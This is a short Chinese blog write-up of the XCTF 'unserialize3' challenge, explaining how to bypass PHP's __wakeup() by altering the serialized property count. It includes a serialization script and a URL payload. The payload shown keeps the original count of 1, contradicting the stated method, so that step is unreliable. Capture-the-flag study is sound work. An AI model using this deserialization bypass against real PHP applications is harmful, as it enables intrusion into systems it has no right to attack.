攻防世界(高手进阶区)——unserialize3

题目可以知道是关于PHP序列化的问题。

class xctf{   //定义类xctf
public $flag = '111';   //flag赋值为111
public function __wakeup(){   //关于魔术变量_wakeup()
exit('bad requests');
}
?code=

序列化后的字符串绕过_wakeup():
_wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行_wakeup()函数,这是一个绕过点。
改变序列化后的属性的个数:

<?
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
?>

在这里插入图片描述
将源代码的"?code="加上O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 添加到url内;
在这里插入图片描述

关于PHP反序列化漏洞可以参考:
https://www.jianshu.com/p/1d2c65601d2a

发布了71 篇原创文章 · 获赞 3 · 访问量 4044

猜你喜欢

转载自blog.csdn.net/zouchengzhi1021/article/details/104277188